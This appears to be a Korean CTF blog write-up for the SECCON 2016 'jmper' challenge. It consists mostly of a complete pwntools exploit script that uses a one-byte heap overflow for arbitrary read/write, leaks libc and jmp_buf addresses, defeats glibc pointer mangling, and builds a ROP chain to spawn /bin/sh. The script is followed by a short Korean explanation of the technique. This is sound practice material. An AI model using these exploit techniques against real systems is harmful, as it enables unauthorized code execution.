from pwn import *
#r=remote('localhost',1111)
r=remote('jmper.pwn.seccon.jp',5656)
raw_input()
def ROL(data, shift, size=64):
shift %= size
remains = data >> (size - shift)
body = (data << shift) - (remains << size )
return (body + remains)
def ROR(data, shift, size=64):
shift %= size
body = data >> shift
remains = (data << (size - shift)) - (body << size)
return (body + remains)
print r.recvuntil(':)')
add='1'
wmemo='3'
wname='2'
showname="4"
##add 2
r.sendline(add)
r.sendline(add)
## name0 memo0
printf_got=0x601fa8
name0="A"*33
memo0="m"*33 #"m"*24+p64(puts_got)+'\x00'
r.sendline(wname)
r.sendline('0')
r.sendline(name0)
r.sendline(wmemo)
r.sendline('0')
r.sendline(memo0)
jmpbuf=0x602038
r.sendline(wname)
r.sendline('1')
r.sendline(p64(printf_got)*4+"B")
r.sendline(wmemo)
r.sendline('1')
r.sendline(p64(printf_got)*4+"C")
r.sendline(wname)
r.sendline('0')
r.sendline("BBB"+p64(printf_got)*3+"B"*6)
r.recv()
r.sendline(showname)
time.sleep(1)
print r.recv()
r.sendline('1')
leak=r.recv(6)
leak+="\x00\x00"
leak=u64(leak)
system=leak-56752
#system=leak-64768
print "printf addr : ",hex(leak)
print "system addr : ",hex(leak-56752)
r.sendline(wname)
r.sendline('0')
r.sendline("BBB"+p64(jmpbuf)*3+"B"*6)
r.recv()
r.sendline(showname)
time.sleep(1)
print r.recv()
r.sendline('1')
leak=r.recv(4)
leak+="\x00\x00\x00\x00"
jmpleak=u64(leak)
print "jmp_buf addr : ",hex(jmpleak)
longjump_plt=0x400700
longjump_got=0x601fe0
r.sendline(wname)
r.sendline('0')
r.sendline("BBB"+p64(jmpleak+0x38)*3+"B"*6)
r.recv()
r.sendline(showname)
time.sleep(1)
print r.recv()
r.sendline('1')
leak=r.recv(8)
heapleak=u64(leak)
print "heapleak : ",hex(heapleak)
a=ROL(heapleak,47,64)
a=a^0x400c31
print hex(a)
a=a^(u64(p64(0x602300+8)))
a=ROR(a,47,64)
r.sendline(wname)
r.sendline('0')
r.sendline("BBB"+p64(jmpleak)*3+"B"*6)
r.sendline(wname)
r.sendline('1')
r.sendline(p64(system)+p64(a))
r.sendline(wname)
r.sendline('0')
r.sendline("BBB"+p64(0x602300+0x10)*3+"B"*6)
r.sendline(wname)
r.sendline('1')
ppr=0x0000000000400cc1
pr=0x400cc3 #pop rdi
r.sendline(p64(pr)+p64(0x602350)+p64(system)+"B"*8)
ppppr=0x0000000000400cbc
r.sendline(wname)
r.sendline('0')
r.sendline("BBB"+p64(0x602350)*3+"B"*6)
r.sendline(wname)
r.sendline('1')
r.sendline('/bin/sh\x00')
for i in range(29):
r.sendline(add)
r.interactive()
64bit인거 깜빡하고 왜 쉘안뜨지? 한참 뻘짓했던 문제..
GOT overwrite하려했는데 GOT에 w권한이 없더라
아이다로 까보니까 got주소 찾아가는 내가 알던 방식이랑 좀 달랐음 동적으로 찾더라
짧게 설명하자면
setjmp longjmp
라는 함수가 있는데 setjmp에서 jmppoint인가 구조체이름이 기억이 안나는데
아무튼 그 구조체에 레지스터 정보를 저장한다.
fg:30이엿나 아무튼 계속 바뀌는 값이랑 xor하고 ROR해서 저장하는데
저장되는 레지스터중 rip값은 PIE가 없어서 항상 일정하기 때문에 그걸로 랜덤XOR 값을 찾아서 그 값으로 구조체에 RBP를 계산해서 원하는 값을 넣어줄수 있음
힙영역 조작은 입력크기를 32가 아닌 33으로 한바이트 더 쓸 수 있어서 구조체의 name성분의 주소를 덮어쓸수 있다.
그걸로 임의의 영역을 조작가능함
취약점은 비교적 쉽게 찾았으나 exploit에서 비트 연산도 처음해보고 해서 exploit을 짜는데 시간이 오래걸렸다
공부가 더 필요할 것 같다고 느꼈다
좀더 빠르고 매끄럽게 문제를 풀수 있도록해야겠다.
'CTF' 카테고리의 다른 글
| [9447-ctf-2015] search 230pt (0) | 2017.01.08 |
|---|---|
| [33c3ctf]babyfengshui (0) | 2017.01.06 |
| [SECCON 2016] pppppoxy (0) | 2016.12.29 |
| [SECCON2016]vigenere암호 100p (0) | 2016.12.12 |
| Seccon 2016 깃허브 링크+포너블바이너리몇개 (0) | 2016.12.11 |